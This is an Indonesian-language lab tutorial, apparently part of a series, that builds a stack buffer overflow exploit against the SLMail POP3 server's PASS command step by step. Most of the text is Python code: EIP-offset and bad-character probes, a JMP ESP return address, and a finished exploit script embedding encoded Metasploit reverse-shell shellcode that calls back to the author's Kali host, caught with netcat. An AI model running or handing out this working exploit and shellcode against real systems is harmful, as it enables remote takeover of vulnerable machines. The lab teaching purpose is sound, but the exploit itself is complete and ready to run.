4.Memastikan bahwa EIP memang ter-overwrite oleh karakter yang berada di hitungan 2606. Kita akan modifikasi script sebelumnya dan mengganti 4 karakter di posisi 2606 dengan karakter “A” dan kemudian sisa nya diisi kembali dengan karakter “C”. Berikut script yang akan kita gunakan

#!/usr/bin/python

import socket

password_awal="C"*2606 #buat karakter c sebanyak 2606
eip="AAAA" #buat karakter A sebanyak 4
password_akhir="C"*490 #dilanjutkan dengan c sebanyak 3100-4-2606=490


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)	#definisikan koneksi TCP/IP soket

print "\nBerkomunikasi dengan POP3.....\n"
connect=s.connect(('172.16.192.130',110))		#Koneksi ke POP3 server
data=s.recv(1024)					#pesan balasan dari server
print data						#print ke layar supaya kita tau statusnya

s.send('USER adinanta\r\n')				#kirim username adinanta (username apa aja bisa)
data=s.recv(1024)					#pesat balasan server
s.send('PASS '+password_awal+eip+password_akhir+'\r\n')	#kirim string password ke server
s.send('QUIT\r\n')					#keluar dari komunikasi pop3
s.close()						#putus tcp/ip connection

alt text

Setelah script dijalankan, ktia dapat melihat bahwa nilai EIP diisi dengan 4 karakter ASCII “A” atau dalam HEX \x41\x41\x41\x41 (41414141) dan kemudian isi STACK dipenuhi dengan karakter ASCII “C” atau dalam HEX \x43\x43\x43\x43. Dengan fakta ini, dapat disimpulkan bahwa nilai EIP telah ditimpa (overwrite) oleh 4 karakter yang berlokasi mulai dari 2606.

Seperti pembahasan sebelumnya, kapasitas register di processor x86 adalah 32-bit atau 4-byte. Setiap karakter ASCII membutuhkan ruang sebesar 1 byte atau 8 bit karena setiap karakter dinyatakan dalam dua digit HEX.

Dengan mengetahui lokasi yang tepat untuk menimpa nilai EIP, kita sudah bisa mengkontrol alur proses eksekusi CPU. Hal ini yang akan kita manfaatkan selanjutnya untuk mengambil alih Sistem Operasi yang menjalankan SLMAIL.

Berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

Mengeksploitasi kerentanan Buffer Overflow

Singkat kata, kita akan memanfaatkan situasi dimana alur proses eksekusi CPU dapat dikontrol dan diubah dengan menimpa nilai EIP. Pada bagian ini, kita akan upload program shell bersamaan dengan pengiriman password dan kemudian memerintahkan CPU untuk mengeksekusinya. Program shell adalah program sederhana yang dapat memberikan kita akses ke command prompt sistem operasi.

Berikut langkah yang akan kita lakukan:

i. Mencari ruang memory yang dapat kita manfaatkan untuk menyimpan program shell (shell code) yang kita upload.

Sebelum kita menginstruksikan CPU untuk mengeksekusi program shell, kita harus terlebih dahulu mengetahui dimana kita bisa menyimpan program ini di memory. Program shell (shell code) dapat diupload ke memory melalui proses pengiriman password dengan mengganti karakter “C” dengan program shell yang sudah di compile.

Saat kita memvalidasi lokasi EIP yang tertimpa sebelumnya, kita sekilas melihat bahwa register ESP (Extended STACK Pointer) menunjukan lokasi memory yang menyimpan karakter “C”. Kita belum mengetahui apakah karakter “C” ini berasal dari jumlah karakter sebelum EIP tertimpa atau setelahnya. Berikut ini bagian dari karakter yang kita kirim sebelumnya

password_awal="C"*2606 #buat karakter c sebanyak 2606
eip="AAAA" #buat karakter A sebanyak 4
password_akhir="C"*490 #dilanjutkan dengan c sebanyak 3100-4-2606=490

Untuk memastikan ini, kita akan ubah variable “password_akhir” dengan karakter “B” dan kemudian melihat kembali isi memory STACK yang direferensikan oleh register ESP. Berikut hasilnya.

alt text

Terlihat bahwa register ESP menunjuk (pointing) ke lokasi memory STACK yang menyimpan karakter “B” atau \x42. Artinya, memory STACK menyimpan karakter yang kita kirim melalui variable “password_akhir”. Lokasi ini bisa menjadi tempat yang potensial untuk menyimpan program shell (shell code) kita karena kita dapat dengan mudah menginstruksikan CPU untuk mengeksekusi ini dengan memerintahkannya untuk melakukan “JUMP” ke lokasi ESP. Perintah ini kita sampaikan ke CPU dengan mengisi register EIP dengan alamat memory yang menyimpan instruksi “jmp ESP”.

Sebelum memutuskan untuk menggunakan lokasi ini, mari kita terlebih dahulu memastikan hal berikut:

a. Ukuran memory yang disediakan STACK cukup untuk menyimpan program shell (shell code) kita. Ukuran yang kita butuhkan sekitar 500 byte. b. Awal lokasi STACK menyimpan karakter pertama dari program shell (shell code) kita karena kita tidak ingin awal program kita terpotong sehingga tidak dapat dieksekusi oleh CPU.

Untuk memastikan hal diatas, kita akan kembali mengirim karakter password dimana variable “password_akhir” akan kita tentukan dengan karakter unik sepanjang 500 byte. Berikut modifikasi nilai variable “password_akhir”.

password_awal="C"*2606 #buat karakter c sebanyak 2606

eip="AAAA" #buat karakter A sebanyak 4

password_akhir=("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab"+
"4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A"+
"d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A"+
"f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah"+
"4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4A"+
"j5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"+
"6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7"+
"An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq")

Berikut nilai ESP setelah karakter diatas berhasil dikirim ke layanan SLMAIL POP3.

alt text

Dari hasil diatas, terlihat bahwa awal karakter (AaoA) yang berasal dari variable “password_akhir” telah tersimpan dengan baik di lokasi awal memory STACK. Artinya tidak ada pemotongan pada karakter awal saat proses buffer overflow terjadi sehingga lokasi memory ini aman digunakan untuk menyimpan program shell kita.

Namun demikian, kita mendeteksi adanya pemotongan beberapa karakter dipertengahan. Hal ini bisa dilihat dari ukuran karakter unik yang tersimpan di memory STACK yaitu sebesar 416 byte dan bukan 500 byte seperti yang kita harapkan. Ini bukanlah kondisi yang ideal karena program shell yang terpotong tidak akan berhasil dieksekusi.

Pemotongan karaker ini bisa disebabkan oleh adanya “Bad Character” di sekumpulan karakter unik yang kita kirim. “Bad character” adalah karakter yang tidak dapat diterima sebagai input oleh aplikasi. Misalnya, karakter “null” tidak diperbolehkan menjadi bagian dari password di SLMAIL POP3. Begitu juga dengan karakter “enter” atau “cariage return” dimana SLMAIL POP3 menggunakan karakter ini sebagai signal berakhirnya input dari user sehingga karakter apapun yang muncul setelah ini tidak akan diproses.

Setiap aplikasi memiliki aturan tersendiri tentang karakter apa saja yang dapat diterima untuk diproses sehingga analisis terhadap prilaku aplikasi perlu dilakukan sebelum mengirim program shell atau kode eksploitasi.

Berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

ii.Mengidentifikasi “Bad Character”

Untuk mengetahui karakter apa saja yang dianggap “bad character” oleh SLMAIL POP3, kita akan mengirim password dengan karakter yang dimulai dari HEX \x00 sampai ke HEX \xFF. Tentu pengiriman ini akan dilakukan melalui variable “password_akhir” karena kita tahu bahwa isi variable ini akan tersimpan di awal STACK setelah buffer overflow terjadi.

Seperti yang kita ketahui, karakter ASCII dapat dinyatakan dalam HEX mulai dari \x00 sampai ke \xFF. Daftar ASCII berikut dengan padanan HEX nya dapat dilihat di http://www.ascii-code.com.

Kenapa kita mengirimnya dalam format HEX? karena program shell yang akan kita upload melalui pengiriman password tidak semua nya terdiri dari karakter ASCII yang printable. Artinya, program tersebut tidak semuanya disusun menggunakan karakter “A-Z”, huruf “0-9” atau karakter lainnya yang bisa kita nyatakan dengan bahasa kita.

Sebagai contoh, program shell mungkin memiliki beberapa karakter ASCII “C’ atau dalam HEX \x43 yang tentunya dapat kita nyatakan dalam bahasa kita. Namun bisa saja susunan program shell memiliki karakter berjenis kontrol seperti “Line feed” yang hanya dapat dinyatakan dalam HEX yaitu \x0A.

Cara sederhana untuk mengidentifikasi bad character adalah dengan melihat keseluruhan isi STACK yang ditunjuk oleh register ESP saat pengiriman bad character selesai dan SLMAIL POP3 crash (hang). Karakter yang tidak tersimpan di STACK adalah karakter yang diabaikan oleh aplikasi dan oleh karenanya merupakan bad character.

Berikut script yang kita jalankan untuk mengidentifikasi bad character

#!/usr/bin/python

import socket

password_awal="C"*2606 #buat karakter c sebanyak 2606
eip="AAAA" #buat karakter A sebanyak 4
password_akhir=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"+
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"+
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"+
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"+
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"+
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"+
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"+
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"+
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"+
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"+
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"+
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"+
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"+
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"+
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"+
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)	#definisikan koneksi TCP/IP soket

print "\nBerkomunikasi dengan POP3.....\n"
connect=s.connect(('172.16.192.130',110))		#Koneksi ke POP3 server
data=s.recv(1024)					#pesan balasan dari server
print data						#print ke layar supaya kita tau statusnya

s.send('USER adinanta\r\n')				#kirim username adinanta (username apa aja bisa)
data=s.recv(1024)					#pesat balasan server
s.send('PASS '+password_awal+eip+password_akhir+'\r\n')	#kirim string password ke server
s.send('QUIT\r\n')					#keluar dari komunikasi pop3
s.close()						#putus tcp/ip connection

Dari pengiriman semua kombinasi ASCII diatas, diketahui bahwa karakter \x0A tidak tersimpan dalam STACK. Hal ini tidak mengherankan karena karakter HEX \x0A adalah “line feed” yang artinya sebuah signal untuk memulai baris baru. Tentu ini tidak boleh menjadi bagian dari password yang kita kirim ke SLMAIL POP3. Berikut ini isi memory yang ditunjuk oleh ESP

alt text

Untuk mengidentifikasi bad character lainnya, kita kirim kembali semua kombinasi ASCII kecuali karakter \x0A. Setelah itu, analisa isi memory STACK dan cari karakter mana saja yang dikirim namun tidak tersimpan. Lakukan proses ini berulang kali sampai kita mengetahui secara pasti karakter mana saja yang dianggap bad character oleh aplikasi.

Perlu diingat bahwa service/layanan SLMAIL POP3 perlu direstart dan kemudian diattach kembali ke immunity debugger setiap melakukan proses diatas karena setiap pengiriman password dengan panjang 3100 byte akan menyebabkan layanan tersebut crash (hang).

Setelah proses diatas selesai, dapat diketahui bahwa bad character atau karakter yang harus dihindari oleh program shell kita adalah “\x00, \x0A, \x0D”

Berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

iii. Mencari instruksi “JMP ESP”

Seperti yang sudah dibahas sebelumnya bahwa ruang memory yang ditunjuk oleh register ESP dapat dimanfaatkan untuk menyimpan program shell kita. Tentu pertanyaan berikutnya adalah “bagaimana kita menginstruksikan CPU untuk mengeksekusi program shell ini?”

Mengingat kembali pembahasan sebelumnya bahwa tugas register EIP adalah memberi CPU petunjuk lokasi instruksi yang harus dieksekusi selanjutnya. Menurut logika sederhana, program shell kita akan dieksekusi oleh CPU apabila nilai register EIP (Extended Instruction Pointer) diisi dengan lokasi memory yang menyimpan program tersebut.

Walau logika tersebut tidak salah,namun perlu diketahui bahwa menginstruksikan CPU untuk melompat atau “jumping” langsung ke lokasi memory tertentu tidak selalu berhasil karena beberapa faktor seperti adanya bad character dibagian alamat memory tersebut. Selain itu, setiap sistem operasi memiliki memory addressing yang berbeda sehingga program exploit yang akan kita buat ini belum tentu berjalan dengan baik di platform lain.

Untuk mengatasi keterbatasan ini, kita bisa memanfaatkan instruksi yang telah dimuat (load) ke memory untuk lompat (jump) ke lokasi memory yang menyimpan program shell kita. Instruksi-instruksi ini bisa berasal dari program SLMAIL maupun dari dynamic link library (dll) system operasi (OS).

Penggunaan instruksi yang berasal dari aplikasi yang akan diexploitasi lebih bisa dihandalkan daripada menggunakan instruksi yang berasal dari sistem operasi(OS). Alasannya adalah karena instruksi tersebut selalu ada dan siap dipanggil walapun program yang akan dieksploitasi berjalan di sistem operasi yang berbeda.

Singkat kata, kita akan mencari instruksi di memory yang dapat memerintahkan CPU untuk jump ke register ESP (JMP ESP). Kenapa register ESP? karena register ini diketahui menunjuk lokasi memory yang menyimpan program shell kita.

Berikut langkah yang akan kita lakukan:

1.Mengetahui perintah JMP ESP dalam bentuk instruction code menggunakan tools seperti nasm. Padanan JMP ESP adalah “\xFF\xE4”

alt text

2.Memanfaatkaan MONA immunity debugger untuk mengidentifikasi module potensial yang mungkin memiliki instruksi JMP ESP.

alt text

3.Mencari instruksi JMP ESP atau “\xFF\xE4” di module SLMFC.dll

alt text

4.Mona menemukan instruksi JMP ESP di alamat memory \x5F4A358F yang mungkin bisa kita manfaatkan. Untuk meyakini temuan ini, kita perlu melakukan pengujian dengan memasang “break point” di lokasi memory tersebut menggunakan immunity debugger dan kemudian menjalankan kembali script dimana nilai EIP ditimpa dengan alamat ini. Setelah itu, gunakan fungsi “step into” di immunity debugger untuk melihat apakah EIP kemudian berubah dan menunjuk ke lokasi memory yang ditunjuk oleh register ESP.

Berikut script yang akan kita jalankan dimana nilai EIP telah disesuaikan dengan alamat memory yang menyimpan instruksi JMP ESP.

#!/usr/bin/python

import socket

password_awal="C"*2606 #buat karakter c sebanyak 2606
eip="\x8F\x35\x4A\x5F" #isi register EIP dengan alamat memory yang menyimpan instruksi JMP ESP
password_akhir="B"*490 #dilanjutkan dengan c sebanyak 3100-4-2606=490


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)	#definisikan koneksi TCP/IP soket

print "\nBerkomunikasi dengan POP3.....\n"
connect=s.connect(('172.16.192.130',110))		#Koneksi ke POP3 server
data=s.recv(1024)					#pesan balasan dari server
print data						#print ke layar supaya kita tau statusnya

s.send('USER adinanta\r\n')				#kirim username adinanta (username apa aja bisa)
data=s.recv(1024)					#pesat balasan server
s.send('PASS '+password_awal+eip+password_akhir+'\r\n')	#kirim string password ke server
s.send('QUIT\r\n')					#keluar dari komunikasi pop3
s.close()						#putus tcp/ip connection

Perlu diketahui bahwa alamat memory yang kita set di variable eip terbalik. Hal ini karena arsitektur processor kita menggunakan metode little endian.

Setelah script selesai dijalankan, kita bisa melihat immunity debugger berhenti di lokasi memory yang kita harapkan yaitu di \x5F4A358F

alt text

Perhatikan nilai ESP yang menunjuk ke lokasi memory \x01\x99\xA1\x54 (0199A154) saat immunity debugger berhenti. Kita akan menekan tombol “step into” yang ada di toolbar atas untuk melanjutkan eksekusi instruksi berikutnya yaitu JMP ESP (\xFF\xE4). Berikut ini nilai EIP yang baru setelah eksekusi tersebut dijalankan.

alt text

Seperti yang kita lihat diatas, CPU telah berhasil loncat atau “JUMP” ke register ESP. Hal ini ditandai dengan nilai EIP yang sama dengan alamat memory yang ditunjuk oleh register ESP.

Dengan hasil pengujian ini, kita bisa simpulkan bahwa kita bisa menggunakan instruksi “JMP ESP” yang berada di lokasi memory \x5F4A358F sesuai dengan temuan MONA.

Berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

iv.Menfinalisasi Script Exploit.

Kini tiba saat yang menyenangkan yaitu memfinalisasi script yang akan kita gunakan untuk mengexploitasi kerentanan buffer overflow di SLMAIL POP3

Berikut hasil yang kita peroleh setelah melalui proses diatas:

  1. Nilai register EIP bisa ditimpa (di-overwrite) setelah jumlah karakter yang dikirim sebagai bagian dari password mencapai 2606 karakter. Nilai EIP ini akan ditimpa dengan lokasi memory yang menyimpan instruksi “JMP ESP” agar CPU dapat mengeksekusi program shell kita yang tersimpan di lokasi memory yang ditunjuk (di-pointing) oleh register ESP

  2. Ruang memory yang ditunjuk (di-pointing) oleh register ESP dapat dimanfaatkan untuk menyimpan program shell kita karena saat layanana SLMAIL POP3 crash (hang), register ini menunjuk (pointing) ke lokasi memory yang menyimpan sisa karakter setelah karakter yang menimpa (meng-overwrite) EIP. Dengan demikian, kita akan mengganti sisa karakter ini dengan program shell kita. Selain itu, ruang memory yang ditunjuk oleh register ESP ini cukup untuk menampung program shell yang minimum membutuhkan sebesar 450 bytes

  3. Karakter “\x00\x0A\x0D” telah teridentifikasi sebagai “bad character” sehingga kita perlu memastikan program shell kita tidak menggunakan karakter-karakter ini.

Selanjutnya, kita akan membuat program shell yang akan menjadi bagian dari pengiriman karakter password ke SLMAIL POP3. Program ini biasa disebut dengan istilah “PAYLOAD” karena merupakan program yang diinginkan oleh attacker untuk dieksekusi oleh system setelah proses exploitasi selesai.

Tentunya program shell ini sudah harus dalam format atau instruksi yang dapat dimengerti oleh CPU karena program ini akan langsung dieksekusi oleh CPU melalui memory.

Pembuatan program shell ini bisa dilakukan secara manual atau menggunakan contoh/template yang disediakan oleh metasploit. Agar pembahasan ini bisa lebih sederhana, kita akan menggunakan metasploit untuk menghasilkan program shell ini.

Berikut langkah pembuatan program shell menggunakan metasploit

1.Jalankan program “msfpayload” dengan memilih “windows/shell_reverse_tcp” sebagai payload

2.Karena ini adalah reverse shell, maka kita perlu memberitahu alamat IP dan TCP port komputer kita agar sistem operasi yang menjalankan SLMAIL dapat menginisiasi atau memulai koneksi shell ke komputer kita. sebagai contoh, saya menggunakan IP kali linux saya di 172.16.192.128

3.PIPE hasil msfpayload ke msfencode karena kita ingin program shell (PAYLOAD) menghindari karakter yang tidak diperbolehkan. Gambar dibawah ini perintah lengkap yang menggabungkan mspayload dengan msfencode

alt text

4.Masukan program shell yang dihasilkan oleh msfpayload ke variable password_akhir. Program shell yang dihasilkan dapat dilihat dibawah ini

"\xb8\x9c\x1e\x99\x6e\xd9\xeb\xd9\x74\x24\xf4\x5f\x29\xc9" +
"\xb1\x4f\x31\x47\x14\x03\x47\x14\x83\xc7\x04\x7e\xeb\x65" +
"\x86\xf7\x14\x96\x57\x67\x9c\x73\x66\xb5\xfa\xf0\xdb\x09" +
"\x88\x55\xd0\xe2\xdc\x4d\x63\x86\xc8\x62\xc4\x2c\x2f\x4c" +
"\xd5\x81\xef\x02\x15\x80\x93\x58\x4a\x62\xad\x92\x9f\x63" +
"\xea\xcf\x50\x31\xa3\x84\xc3\xa5\xc0\xd9\xdf\xc4\x06\x56" +
"\x5f\xbe\x23\xa9\x14\x74\x2d\xfa\x85\x03\x65\xe2\xae\x4b" +
"\x56\x13\x62\x88\xaa\x5a\x0f\x7a\x58\x5d\xd9\xb3\xa1\x6f" +
"\x25\x1f\x9c\x5f\xa8\x5e\xd8\x58\x53\x15\x12\x9b\xee\x2d" +
"\xe1\xe1\x34\xb8\xf4\x42\xbe\x1a\xdd\x73\x13\xfc\x96\x78" +
"\xd8\x8b\xf1\x9c\xdf\x58\x8a\x99\x54\x5f\x5d\x28\x2e\x7b" +
"\x79\x70\xf4\xe2\xd8\xdc\x5b\x1b\x3a\xb8\x04\xb9\x30\x2b" +
"\x50\xbb\x1a\x24\x95\xf1\xa4\xb4\xb1\x82\xd7\x86\x1e\x38" +
"\x70\xab\xd7\xe6\x87\xcc\xcd\x5e\x17\x33\xee\x9e\x31\xf0" +
"\xba\xce\x29\xd1\xc2\x85\xa9\xde\x16\x09\xfa\x70\xc9\xe9" +
"\xaa\x30\xb9\x81\xa0\xbe\xe6\xb1\xca\x14\x91\xf6\x5d\x3b" +
"\xb2\x38\x1d\x2b\xb1\xb8\x0f\xf0\x3c\x5e\x45\x18\x69\xc9" +
"\xf2\x81\x30\x81\x63\x4d\xef\x01\x07\xdc\x74\xd1\x4e\xfd" +
"\x22\x86\x07\x33\x3b\x42\xba\x6a\x95\x70\x47\xea\xde\x30" +
"\x9c\xcf\xe1\xb9\x51\x6b\xc6\xa9\xaf\x74\x42\x9d\x7f\x23" +
"\x1c\x4b\xc6\x9d\xee\x25\x90\x72\xb9\xa1\x65\xb9\x7a\xb7" +
"\x69\x94\x0c\x57\xdb\x41\x49\x68\xd4\x05\x5d\x11\x08\xb6" +
"\xa2\xc8\x88\xc6\xe8\x50\xb8\x4e\xb5\x01\xf8\x12\x46\xfc" +
"\x3f\x2b\xc5\xf4\xbf\xc8\xd5\x7d\xc5\x95\x51\x6e\xb7\x86" +
"\x37\x90\x64\xa6\x1d"

Berikut ini hasil akhir dari script exploit kita

#!/usr/bin/python

import socket

password_awal="C"*2606 #buat karakter c sebanyak 2606
eip="\x8F\x35\x4A\x5F" #isi register EIP dengan alamat memory yang menyimpan instruksi JMP ESP
softnop="\x90"*10
password_akhir=("\xb8\x9c\x1e\x99\x6e\xd9\xeb\xd9\x74\x24\xf4\x5f\x29\xc9" +
"\xb1\x4f\x31\x47\x14\x03\x47\x14\x83\xc7\x04\x7e\xeb\x65" +
"\x86\xf7\x14\x96\x57\x67\x9c\x73\x66\xb5\xfa\xf0\xdb\x09" +
"\x88\x55\xd0\xe2\xdc\x4d\x63\x86\xc8\x62\xc4\x2c\x2f\x4c" +
"\xd5\x81\xef\x02\x15\x80\x93\x58\x4a\x62\xad\x92\x9f\x63" +
"\xea\xcf\x50\x31\xa3\x84\xc3\xa5\xc0\xd9\xdf\xc4\x06\x56" +
"\x5f\xbe\x23\xa9\x14\x74\x2d\xfa\x85\x03\x65\xe2\xae\x4b" +
"\x56\x13\x62\x88\xaa\x5a\x0f\x7a\x58\x5d\xd9\xb3\xa1\x6f" +
"\x25\x1f\x9c\x5f\xa8\x5e\xd8\x58\x53\x15\x12\x9b\xee\x2d" +
"\xe1\xe1\x34\xb8\xf4\x42\xbe\x1a\xdd\x73\x13\xfc\x96\x78" +
"\xd8\x8b\xf1\x9c\xdf\x58\x8a\x99\x54\x5f\x5d\x28\x2e\x7b" +
"\x79\x70\xf4\xe2\xd8\xdc\x5b\x1b\x3a\xb8\x04\xb9\x30\x2b" +
"\x50\xbb\x1a\x24\x95\xf1\xa4\xb4\xb1\x82\xd7\x86\x1e\x38" +
"\x70\xab\xd7\xe6\x87\xcc\xcd\x5e\x17\x33\xee\x9e\x31\xf0" +
"\xba\xce\x29\xd1\xc2\x85\xa9\xde\x16\x09\xfa\x70\xc9\xe9" +
"\xaa\x30\xb9\x81\xa0\xbe\xe6\xb1\xca\x14\x91\xf6\x5d\x3b" +
"\xb2\x38\x1d\x2b\xb1\xb8\x0f\xf0\x3c\x5e\x45\x18\x69\xc9" +
"\xf2\x81\x30\x81\x63\x4d\xef\x01\x07\xdc\x74\xd1\x4e\xfd" +
"\x22\x86\x07\x33\x3b\x42\xba\x6a\x95\x70\x47\xea\xde\x30" +
"\x9c\xcf\xe1\xb9\x51\x6b\xc6\xa9\xaf\x74\x42\x9d\x7f\x23" +
"\x1c\x4b\xc6\x9d\xee\x25\x90\x72\xb9\xa1\x65\xb9\x7a\xb7" +
"\x69\x94\x0c\x57\xdb\x41\x49\x68\xd4\x05\x5d\x11\x08\xb6" +
"\xa2\xc8\x88\xc6\xe8\x50\xb8\x4e\xb5\x01\xf8\x12\x46\xfc" +
"\x3f\x2b\xc5\xf4\xbf\xc8\xd5\x7d\xc5\x95\x51\x6e\xb7\x86" +
"\x37\x90\x64\xa6\x1d") # program shell atau PAYLOAD kita


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)	#definisikan koneksi TCP/IP soket

print "\nBerkomunikasi dengan POP3.....\n"
connect=s.connect(('172.16.192.130',110))		#Koneksi ke POP3 server
data=s.recv(1024)					#pesan balasan dari server
print data						#print ke layar supaya kita tau statusnya

s.send('USER adinanta\r\n')				#kirim username adinanta (username apa aja bisa)
data=s.recv(1024)					#pesat balasan server
s.send('PASS '+password_awal+eip+softnop+password_akhir+'\r\n')	#kirim string password ke server
s.send('QUIT\r\n')					#keluar dari komunikasi pop3
s.close()						#putus tcp/ip connection

v. Menjalankan Exploit.

Ini bagian terakhir dan kesimpulan dari semua pembahasan yang membosankan sebelumnya. Kita akan menjalankan program netcat di kali linux untuk menerima permintaan koneksi shell dari sistem operasi yang menjalankan SLMAIL POP3.

Berikut langkah akhir proses eksploitasi:

1.Jalankan netcat di kali linux sebagai TCP/IP server yang berjalan di port 4444 seperti tertera dibawah ini

alt text

2.Buka tab terminal baru dan jalankan script exploit yang telah kita finalisasikan diatas

alt text

3.Lihat hasil reverse_shell (program shell yang jalan dan diinisiasi oleh sistem operasi yang menjalankan SLMAIL) di terminal yang menjalankan netcat

alt text

Berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

Resources

Seluruh script python yang digunakan dalam tutorial ini tersedia di repository git saya yang dapat diclone melalui https://github.com/adinanta/slmail-exploit.git

Selanjutnya

Selamat mencoba di lab masing-masing. Apabila ada ketidakjelasan atau kesalahan dalam tutorial ini, mohon berikan komentar dan saya akan coba memperbaiki.

Salam,

Harry Adinanta